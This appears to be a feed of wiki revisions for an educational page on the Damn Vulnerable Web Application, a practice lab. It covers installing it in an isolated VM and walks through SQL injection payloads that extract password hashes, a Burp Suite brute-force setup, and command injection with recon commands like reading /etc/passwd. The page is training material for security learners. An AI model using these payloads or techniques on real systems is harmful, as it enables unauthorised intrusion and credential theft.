* When we enter &amp;lt;b&amp;gt;a’ or ‘1’=‘1&amp;lt;/b&amp;gt; in the ID field, sending an always-true query, we get all users with their first and last names from the database.&lt;br /&gt;
[[File:True1.PNG|thumb|none|250px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* For union-based SQLi we need to know the number of columns in a table to be able to execute an UNION query. To find this, we enter &amp;lt;b&amp;gt;1&#039; order by 9#&amp;lt;/b&amp;gt; to try if the table has 9 columns. This returns an error, meaning we need to lower the number until we get an actual result. After several tires, DVWA returns actual contents when entering number 2. This means, our table of users has 2 columns.&lt;br /&gt;
&lt;br /&gt;
* Next we can try the union-based SQLi. We start with entering &amp;lt;b&amp;gt;1&#039; union select 1,2 #&amp;lt;/b&amp;gt;, which will simply return the numbers 1 and 2 in a certain spot. This spot is where we can then extract whatever information is desired. The hashtag # comments out anything that comes after, simply making sure nothing interferes with the query.&lt;br /&gt;
[[File:Union4.PNG|thumb|none|250px]]&lt;br /&gt;
&lt;br /&gt;
* We can try entering the following in the ID field: &amp;lt;b&amp;gt;1&#039; union select database(),user() #&amp;lt;/b&amp;gt;, which returns the database name and current user in the same position.&lt;br /&gt;
[[File:Union5.PNG|thumb|none|300px]]&lt;br /&gt;
&lt;br /&gt;
* Now that we know the database name, we can extract the tables in this database by &amp;lt;b&amp;gt;1&#039; union select table_name,2 from information_schema.tables where table_schema=&#039;dvwa&#039; #&amp;lt;/b&amp;gt;. This returns the following:&lt;br /&gt;
[[File:Union6.PNG|thumb|none|700px]]&lt;br /&gt;
&lt;br /&gt;
* This tells us there are two tables in the database - users and guestbook. Here we utilize INFORMATION_SCHEMA, which provides metadata about our database.&lt;br /&gt;
&lt;br /&gt;
* Now we can discover what columns exist in the table &amp;quot;users&amp;quot;. We enter the query &amp;lt;b&amp;gt;1&#039; union select column_name,2 from information_schema.columns where table_name=&#039;users&#039; #&amp;lt;/b&amp;gt;, which results into the following:&lt;br /&gt;
[[File:Union7.PNG|thumb|none|700px]]&lt;br /&gt;
&lt;br /&gt;
* Knowing the names of the columns now allows us to extract the specific values from them. Let&#039;s look at all usernames and passwords from the table &amp;quot;users&amp;quot;. We do this with the query &amp;lt;b&amp;gt;1&#039; union select user,password from users #&amp;lt;/b&amp;gt;:&lt;br /&gt;
[[File:Union8.PNG|thumb|none|350px]]&lt;br /&gt;
&lt;br /&gt;
* Unfortunately, the data is hashed, and we have to use external software to crack them (John the Ripper). For this we can collect the usernames and passwords in one file like so and run Jack:&lt;br /&gt;
[[File:John pass hash.PNG|thumb|none|600px]]&lt;br /&gt;
&lt;br /&gt;
* Now we have extracted the passwords with usernames and are therefore able to penetrate the database. In a real web application setting, this is extremely dangerous to know the admin user, as this would allow the attacker to do practically anything.&lt;br /&gt;
&lt;br /&gt;
== Brute force ==&lt;br /&gt;
For this attack, we will be using a Kali Linux machine with BurpSuite and Hydra. With the proxy we will be intercepting traffic between the DVWA and BurpSuite&#039;s browser. First, let&#039;s select low security in the DVWA and head to the &amp;quot;Brute Force&amp;quot; navigation tab. Here, we see a login form with a username and password. We will enter some test data and look at the request in BurpSuite:&lt;br /&gt;
 username: username&lt;br /&gt;
 password: password&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa1.png|thumb|none|700px]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Now, click on &amp;quot;Send to Intruder&amp;quot; and change to the &amp;lt;i&amp;gt;Intruder&amp;lt;/i&amp;gt; tab in BurpSuite. Now click on Positions, and for &amp;lt;b&amp;gt;Attack type&amp;lt;/b&amp;gt; choose &amp;quot;Cluster bomb&amp;quot;. Click on &amp;quot;Clear §&amp;quot; on the right and then select the entered username and password values and click &amp;quot;Add §&amp;quot; on the right.&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa2.png|thumb|none|700px]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Now go to the &amp;lt;i&amp;gt;Payloads&amp;lt;/i&amp;gt; tab to &amp;quot;Payload options&amp;quot; and load the wordlist &amp;lt;i&amp;gt;/usr/share/wordlists/metasploit/http_default_users.txt&amp;lt;/i&amp;gt;. Scroll up to &amp;quot;Payload Sets&amp;quot; and select &amp;lt;b&amp;gt;2&amp;lt;/b&amp;gt;. Now go to &amp;quot;Payload options&amp;quot; again and load a second wordlist &amp;lt;i&amp;gt;/usr/share/wordlists/metasploit/http_default_pass.txt&amp;lt;/i&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Now, go to the &amp;lt;i&amp;gt;Options&amp;lt;/i&amp;gt; tab (still inside the Intruder) and clear the Grep-Match list. Then enter &amp;quot;&amp;lt;b&amp;gt;Username and/or password incorrect.&amp;lt;/b&amp;gt;&amp;quot;, which is exactly what the DVWA outputs on this login page in the case of an incorrect login attempt, and add it to the Grep-Match list. Scroll up and &amp;lt;b&amp;gt;Start attack&amp;lt;/b&amp;gt;. We are looking for entries with the unchecked &amp;quot;username&amp;quot; column. The output should look something like this:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa3.png|thumb|none|700px]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
In our case this is&lt;br /&gt;
 username: admin&lt;br /&gt;
 password: password&lt;br /&gt;
After entering in to the login form, we are successfully logged in and get the message:&lt;br /&gt;
 Welcome to the password protected area admin&lt;br /&gt;
&lt;br /&gt;
== Command execution ==&lt;br /&gt;
The command execution vulnerability occurs when the application allows the execution of system commands. It can be very dangerous depending on the type of command and its impact on the system. Let&#039;s demonstrate this with a simple &amp;lt;b&amp;gt;ECHO&amp;lt;/b&amp;gt; command (keep in mind, this is a PHP application).&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa5.png|thumb|none|500px|Medium and low security level]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa4.png|thumb|none|500px|High security level]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
We can see the difference between the security levels, which is based on the source code of the DVWA: &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Low security level&amp;lt;/b&amp;gt;: no input validation&amp;lt;br&amp;gt;&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 if( isset( $_POST[ &#039;Submit&#039; ]  ) ) {&lt;br /&gt;
        // Get input&lt;br /&gt;
        $target = $_REQUEST[ &#039;ip&#039; ];&lt;br /&gt;
 &lt;br /&gt;
        // Determine OS and execute the ping command.&lt;br /&gt;
        if( stristr( php_uname( &#039;s&#039; ), &#039;Windows NT&#039; ) ) {&lt;br /&gt;
                // Windows&lt;br /&gt;
                $cmd = shell_exec( &#039;ping  &#039; . $target );&lt;br /&gt;
        }&lt;br /&gt;
        else {&lt;br /&gt;
                // *nix&lt;br /&gt;
                $cmd = shell_exec( &#039;ping  -c 4 &#039; . $target );&lt;br /&gt;
        }&lt;br /&gt;
 &lt;br /&gt;
        // Feedback for the end user&lt;br /&gt;
        $html .= &amp;quot;&amp;amp;lt;pre&amp;amp;gt;{$cmd}&amp;amp;lt;/pre&amp;amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Medium security level&amp;lt;/b&amp;gt;: Here, the rest of the code looks like low level security, but has an added part for substituting &#039;&amp;amp;&amp;amp;&#039; and &#039;;&#039;.&amp;lt;br&amp;gt;&lt;br /&gt;
 // Set blacklist&lt;br /&gt;
 $substitutions = array(&lt;br /&gt;
        &#039;&amp;amp;&amp;amp;&#039; =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;;&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
 );&lt;br /&gt;
 &lt;br /&gt;
 // Remove any of the charactars in the array (blacklist).&lt;br /&gt;
 $target = str_replace( array_keys( $substitutions ), $substitutions, $target );&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;High security level&amp;lt;/b&amp;gt;: The &amp;quot;substitutions&amp;quot; array contents way more characters, also including the pipe | character. This is why the DVWA reacted as it did in the previously shown examples.&amp;lt;br&amp;gt;&lt;br /&gt;
 // Set blacklist&lt;br /&gt;
 $substitutions = array(&lt;br /&gt;
        &#039;&amp;amp;&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;;&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;| &#039; =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;-&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;$&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;(&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;)&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;`&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;||&#039; =&amp;gt; &#039;&#039;,&lt;br /&gt;
 );&lt;br /&gt;
Now we will perform a series of information gathering commands on low security setting as demonstrated below.&lt;br /&gt;
* Show the current directory&#039;s contents&lt;br /&gt;
 ls&lt;br /&gt;
* Show in which directory path we currently find ourselves&lt;br /&gt;
 pwd&lt;br /&gt;
* Who is the current user&lt;br /&gt;
 whoami&lt;br /&gt;
* List the currently running processes&lt;br /&gt;
 ps&lt;br /&gt;
* List information about the users read out from the /etc/passwd file&lt;br /&gt;
 cat /etc/passwd&lt;br /&gt;
* Discover the hostname and the users that are logged in&lt;br /&gt;
 uname -a &amp;amp; users &amp;amp; id &amp;amp; w&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa6.png|thumb|none|700px|Command execution - Low security level]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== XSS ==&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=DVWA&amp;diff=9725</id>
		<title>DVWA</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=DVWA&amp;diff=9725"/>
		<updated>2022-01-30T17:29:21Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* Command execution */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The so-called damn vulnerable web app (DVWA) is also a vulnerable PHP / MySQL web service [[https://wiki.elvis.science/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop]]. It is very similar to bWAPP. DVWA is free and can be used by anyone. The purpose of this application is to improve and test the skills and tools of security professionals and enthusiasts in a legal and secure environment. It is also used to explore the different vulnerabilities in four difficulties. More detailed explanations and information can be found on the DVWA homepage or at the GitHub page.&lt;br /&gt;
&lt;br /&gt;
== Architecture ==&lt;br /&gt;
&lt;br /&gt;
As already mentioned, the Damn Vulnerable Web Application (DVWA) is a free PHP application which is like bWAPP. It also uses a SQL database to persist information. The service is provided by Linux or Windows. XAMPP is also supported.&lt;br /&gt;
[[File:DVWA architecture.png|thumb|none|500px]]&lt;br /&gt;
&lt;br /&gt;
== Installation (1) ==&lt;br /&gt;
&lt;br /&gt;
The installation of DVWA is very similar to that of [[bWAPP]]. Because the application is very fragile, it is recommended to install it on a virtual machine, and not in the public HTML folder. The following steps show a successful installation:&amp;lt;/br&amp;gt;&lt;br /&gt;
*The application could be downloaded on the official homepage of DVWA (http://www.dvwa.co.uk/). The ZIP file is extracted on any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA official Website.png|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*The name of the folder is changed to “dvwa” and in the /xampp/htdocs path copied from XAMPP. Apache and MySQL should be activated in the XAMPP control panel.&amp;lt;/br&amp;gt;&lt;br /&gt;
*The password is deleted from the configuration file “config.inc.php.dist”.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA configfile.png|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*/localhost/dvwa is called by the browser, which leads you to the login.&lt;br /&gt;
**Username is “admin” &lt;br /&gt;
**Password is “password”&lt;br /&gt;
*Now you are logged in and ready to work with DVWA.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA installed and ready to use.png|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Note&#039;&#039;&#039;: Before you start, the database should be set or reset.&lt;br /&gt;
&lt;br /&gt;
== Installation (2) ==&lt;br /&gt;
&lt;br /&gt;
This is an alternative way of setting up the DVWA, which is sometimes more reliable than the first one. It requires creating a VM with a DVWA iso file, like you would do with any other VM. You just need to choose the correct ISO during setup. It can be downloaded here: https://www.vulnhub.com/entry/damn-vulnerable-web-application-dvwa-107,43/. Once the DVWA VM is running, you can access it in the browser of another VM via: http://&amp;lt;IP_DVWA_VM&amp;gt;/login.php. You just need to choose NAT as network setting on both used VMs, so that they aren&#039;t exposed to the actual network. Exposing the DVWA to the network is very dangerous, as this is in fact a very vulnerable server. Should it get compromised from outside, the attacker would gain access to your home network.&lt;br /&gt;
&lt;br /&gt;
== SQL injection ==&lt;br /&gt;
&lt;br /&gt;
Let&#039;s look at the SQL injection vulnerability.&lt;br /&gt;
* In contrast to bWAPP, no search terms are entered in the search field, here we are searching by an identification number (ID) of the user in the database. An identification number returns the first name and last name of a user.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA search.PNG|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* When we enter &amp;quot;1&amp;quot; in the search field, the query being sent to the database really looks like this:&lt;br /&gt;
 $query  = &amp;quot;SELECT first_name, last_name FROM users WHERE user_id = &#039;$id&#039;;&amp;quot;;&lt;br /&gt;
 $query  = &amp;quot;SELECT first_name, last_name FROM users WHERE user_id = 1;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
* If we enter &amp;quot;1&#039;&amp;quot; in the search field, we will get a syntax error with the associated error message. So, we recognize that the parameters in the URL are vulnerable to error-based SQL injection. This means we can send commands (queries) to the database to extract some information. The displayed error message is:&lt;br /&gt;
 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#039;&#039;1&#039;&#039;&#039; at line 1&lt;br /&gt;
&lt;br /&gt;
* Next we can try executing an always true query. The example SQL code would look like this:&lt;br /&gt;
 SELECT first_name, last_name FROM users WHERE user_id = &#039;a&#039; OR &#039;1&#039;=&#039;1&#039;&lt;br /&gt;
&lt;br /&gt;
* When we enter &amp;lt;b&amp;gt;a’ or ‘1’=‘1&amp;lt;/b&amp;gt; in the ID field, sending an always-true query, we get all users with their first and last names from the database.&lt;br /&gt;
[[File:True1.PNG|thumb|none|250px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* For union-based SQLi we need to know the number of columns in a table to be able to execute an UNION query. To find this, we enter &amp;lt;b&amp;gt;1&#039; order by 9#&amp;lt;/b&amp;gt; to try if the table has 9 columns. This returns an error, meaning we need to lower the number until we get an actual result. After several tires, DVWA returns actual contents when entering number 2. This means, our table of users has 2 columns.&lt;br /&gt;
&lt;br /&gt;
* Next we can try the union-based SQLi. We start with entering &amp;lt;b&amp;gt;1&#039; union select 1,2 #&amp;lt;/b&amp;gt;, which will simply return the numbers 1 and 2 in a certain spot. This spot is where we can then extract whatever information is desired. The hashtag # comments out anything that comes after, simply making sure nothing interferes with the query.&lt;br /&gt;
[[File:Union4.PNG|thumb|none|250px]]&lt;br /&gt;
&lt;br /&gt;
* We can try entering the following in the ID field: &amp;lt;b&amp;gt;1&#039; union select database(),user() #&amp;lt;/b&amp;gt;, which returns the database name and current user in the same position.&lt;br /&gt;
[[File:Union5.PNG|thumb|none|300px]]&lt;br /&gt;
&lt;br /&gt;
* Now that we know the database name, we can extract the tables in this database by &amp;lt;b&amp;gt;1&#039; union select table_name,2 from information_schema.tables where table_schema=&#039;dvwa&#039; #&amp;lt;/b&amp;gt;. This returns the following:&lt;br /&gt;
[[File:Union6.PNG|thumb|none|700px]]&lt;br /&gt;
&lt;br /&gt;
* This tells us there are two tables in the database - users and guestbook. Here we utilize INFORMATION_SCHEMA, which provides metadata about our database.&lt;br /&gt;
&lt;br /&gt;
* Now we can discover what columns exist in the table &amp;quot;users&amp;quot;. We enter the query &amp;lt;b&amp;gt;1&#039; union select column_name,2 from information_schema.columns where table_name=&#039;users&#039; #&amp;lt;/b&amp;gt;, which results into the following:&lt;br /&gt;
[[File:Union7.PNG|thumb|none|700px]]&lt;br /&gt;
&lt;br /&gt;
* Knowing the names of the columns now allows us to extract the specific values from them. Let&#039;s look at all usernames and passwords from the table &amp;quot;users&amp;quot;. We do this with the query &amp;lt;b&amp;gt;1&#039; union select user,password from users #&amp;lt;/b&amp;gt;:&lt;br /&gt;
[[File:Union8.PNG|thumb|none|350px]]&lt;br /&gt;
&lt;br /&gt;
* Unfortunately, the data is hashed, and we have to use external software to crack them (John the Ripper). For this we can collect the usernames and passwords in one file like so and run Jack:&lt;br /&gt;
[[File:John pass hash.PNG|thumb|none|600px]]&lt;br /&gt;
&lt;br /&gt;
* Now we have extracted the passwords with usernames and are therefore able to penetrate the database. In a real web application setting, this is extremely dangerous to know the admin user, as this would allow the attacker to do practically anything.&lt;br /&gt;
&lt;br /&gt;
== Brute force ==&lt;br /&gt;
For this attack, we will be using a Kali Linux machine with BurpSuite and Hydra. With the proxy we will be intercepting traffic between the DVWA and BurpSuite&#039;s browser. First, let&#039;s select low security in the DVWA and head to the &amp;quot;Brute Force&amp;quot; navigation tab. Here, we see a login form with a username and password. We will enter some test data and look at the request in BurpSuite:&lt;br /&gt;
 username: username&lt;br /&gt;
 password: password&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa1.png|thumb|none|700px]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Now, click on &amp;quot;Send to Intruder&amp;quot; and change to the &amp;lt;i&amp;gt;Intruder&amp;lt;/i&amp;gt; tab in BurpSuite. Now click on Positions, and for &amp;lt;b&amp;gt;Attack type&amp;lt;/b&amp;gt; choose &amp;quot;Cluster bomb&amp;quot;. Click on &amp;quot;Clear §&amp;quot; on the right and then select the entered username and password values and click &amp;quot;Add §&amp;quot; on the right.&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa2.png|thumb|none|700px]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Now go to the &amp;lt;i&amp;gt;Payloads&amp;lt;/i&amp;gt; tab to &amp;quot;Payload options&amp;quot; and load the wordlist &amp;lt;i&amp;gt;/usr/share/wordlists/metasploit/http_default_users.txt&amp;lt;/i&amp;gt;. Scroll up to &amp;quot;Payload Sets&amp;quot; and select &amp;lt;b&amp;gt;2&amp;lt;/b&amp;gt;. Now go to &amp;quot;Payload options&amp;quot; again and load a second wordlist &amp;lt;i&amp;gt;/usr/share/wordlists/metasploit/http_default_pass.txt&amp;lt;/i&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Now, go to the &amp;lt;i&amp;gt;Options&amp;lt;/i&amp;gt; tab (still inside the Intruder) and clear the Grep-Match list. Then enter &amp;quot;&amp;lt;b&amp;gt;Username and/or password incorrect.&amp;lt;/b&amp;gt;&amp;quot;, which is exactly what the DVWA outputs on this login page in the case of an incorrect login attempt, and add it to the Grep-Match list. Scroll up and &amp;lt;b&amp;gt;Start attack&amp;lt;/b&amp;gt;. We are looking for entries with the unchecked &amp;quot;username&amp;quot; column. The output should look something like this:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa3.png|thumb|none|700px]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
In our case this is&lt;br /&gt;
 username: admin&lt;br /&gt;
 password: password&lt;br /&gt;
After entering in to the login form, we are successfully logged in and get the message:&lt;br /&gt;
 Welcome to the password protected area admin&lt;br /&gt;
&lt;br /&gt;
== Command execution ==&lt;br /&gt;
The command execution vulnerability occurs when the application allows the execution of system commands. It can be very dangerous depending on the type of command and its impact on the system. Let&#039;s demonstrate this with a simple &amp;lt;b&amp;gt;ECHO&amp;lt;/b&amp;gt; command (keep in mind, this is a PHP application).&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa5.png|thumb|none|500px|Medium and low security level]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa4.png|thumb|none|500px|High security level]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
We can see the difference between the security levels, which is based on the source code of the DVWA: &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Low security level&amp;lt;/b&amp;gt;: no input validation&amp;lt;br&amp;gt;&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 if( isset( $_POST[ &#039;Submit&#039; ]  ) ) {&lt;br /&gt;
        // Get input&lt;br /&gt;
        $target = $_REQUEST[ &#039;ip&#039; ];&lt;br /&gt;
 &lt;br /&gt;
        // Determine OS and execute the ping command.&lt;br /&gt;
        if( stristr( php_uname( &#039;s&#039; ), &#039;Windows NT&#039; ) ) {&lt;br /&gt;
                // Windows&lt;br /&gt;
                $cmd = shell_exec( &#039;ping  &#039; . $target );&lt;br /&gt;
        }&lt;br /&gt;
        else {&lt;br /&gt;
                // *nix&lt;br /&gt;
                $cmd = shell_exec( &#039;ping  -c 4 &#039; . $target );&lt;br /&gt;
        }&lt;br /&gt;
 &lt;br /&gt;
        // Feedback for the end user&lt;br /&gt;
        $html .= &amp;quot;&amp;amp;lt;pre&amp;amp;gt;{$cmd}&amp;amp;lt;/pre&amp;amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Medium security level&amp;lt;/b&amp;gt;: Here, the rest of the code looks like low level security, but has an added part for substituting &#039;&amp;amp;&amp;amp;&#039; and &#039;;&#039;.&amp;lt;br&amp;gt;&lt;br /&gt;
 // Set blacklist&lt;br /&gt;
 $substitutions = array(&lt;br /&gt;
        &#039;&amp;amp;&amp;amp;&#039; =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;;&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
 );&lt;br /&gt;
 &lt;br /&gt;
 // Remove any of the charactars in the array (blacklist).&lt;br /&gt;
 $target = str_replace( array_keys( $substitutions ), $substitutions, $target );&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;High security level&amp;lt;/b&amp;gt;: The &amp;quot;substitutions&amp;quot; array contents way more characters, also including the pipe | character. This is why the DVWA reacted as it did in the previously shown examples.&amp;lt;br&amp;gt;&lt;br /&gt;
 // Set blacklist&lt;br /&gt;
 $substitutions = array(&lt;br /&gt;
        &#039;&amp;amp;&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;;&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;| &#039; =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;-&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;$&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;(&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;)&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;`&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;||&#039; =&amp;gt; &#039;&#039;,&lt;br /&gt;
 );&lt;br /&gt;
Now we will perform a series of information gathering commands on low security setting as demonstrated below.&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa6.png|thumb|none|700px|Medium and low security level]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== XSS ==&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Dvwa6.png&amp;diff=9724</id>
		<title>File:Dvwa6.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Dvwa6.png&amp;diff=9724"/>
		<updated>2022-01-30T17:29:00Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=DVWA&amp;diff=9723</id>
		<title>DVWA</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=DVWA&amp;diff=9723"/>
		<updated>2022-01-30T17:21:12Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* Command execution */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The so-called damn vulnerable web app (DVWA) is also a vulnerable PHP / MySQL web service [[https://wiki.elvis.science/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop]]. It is very similar to bWAPP. DVWA is free and can be used by anyone. The purpose of this application is to improve and test the skills and tools of security professionals and enthusiasts in a legal and secure environment. It is also used to explore the different vulnerabilities in four difficulties. More detailed explanations and information can be found on the DVWA homepage or at the GitHub page.&lt;br /&gt;
&lt;br /&gt;
== Architecture ==&lt;br /&gt;
&lt;br /&gt;
As already mentioned, the Damn Vulnerable Web Application (DVWA) is a free PHP application which is like bWAPP. It also uses a SQL database to persist information. The service is provided by Linux or Windows. XAMPP is also supported.&lt;br /&gt;
[[File:DVWA architecture.png|thumb|none|500px]]&lt;br /&gt;
&lt;br /&gt;
== Installation (1) ==&lt;br /&gt;
&lt;br /&gt;
The installation of DVWA is very similar to that of [[bWAPP]]. Because the application is very fragile, it is recommended to install it on a virtual machine, and not in the public HTML folder. The following steps show a successful installation:&amp;lt;/br&amp;gt;&lt;br /&gt;
*The application could be downloaded on the official homepage of DVWA (http://www.dvwa.co.uk/). The ZIP file is extracted on any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA official Website.png|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*The name of the folder is changed to “dvwa” and in the /xampp/htdocs path copied from XAMPP. Apache and MySQL should be activated in the XAMPP control panel.&amp;lt;/br&amp;gt;&lt;br /&gt;
*The password is deleted from the configuration file “config.inc.php.dist”.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA configfile.png|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*/localhost/dvwa is called by the browser, which leads you to the login.&lt;br /&gt;
**Username is “admin” &lt;br /&gt;
**Password is “password”&lt;br /&gt;
*Now you are logged in and ready to work with DVWA.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA installed and ready to use.png|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Note&#039;&#039;&#039;: Before you start, the database should be set or reset.&lt;br /&gt;
&lt;br /&gt;
== Installation (2) ==&lt;br /&gt;
&lt;br /&gt;
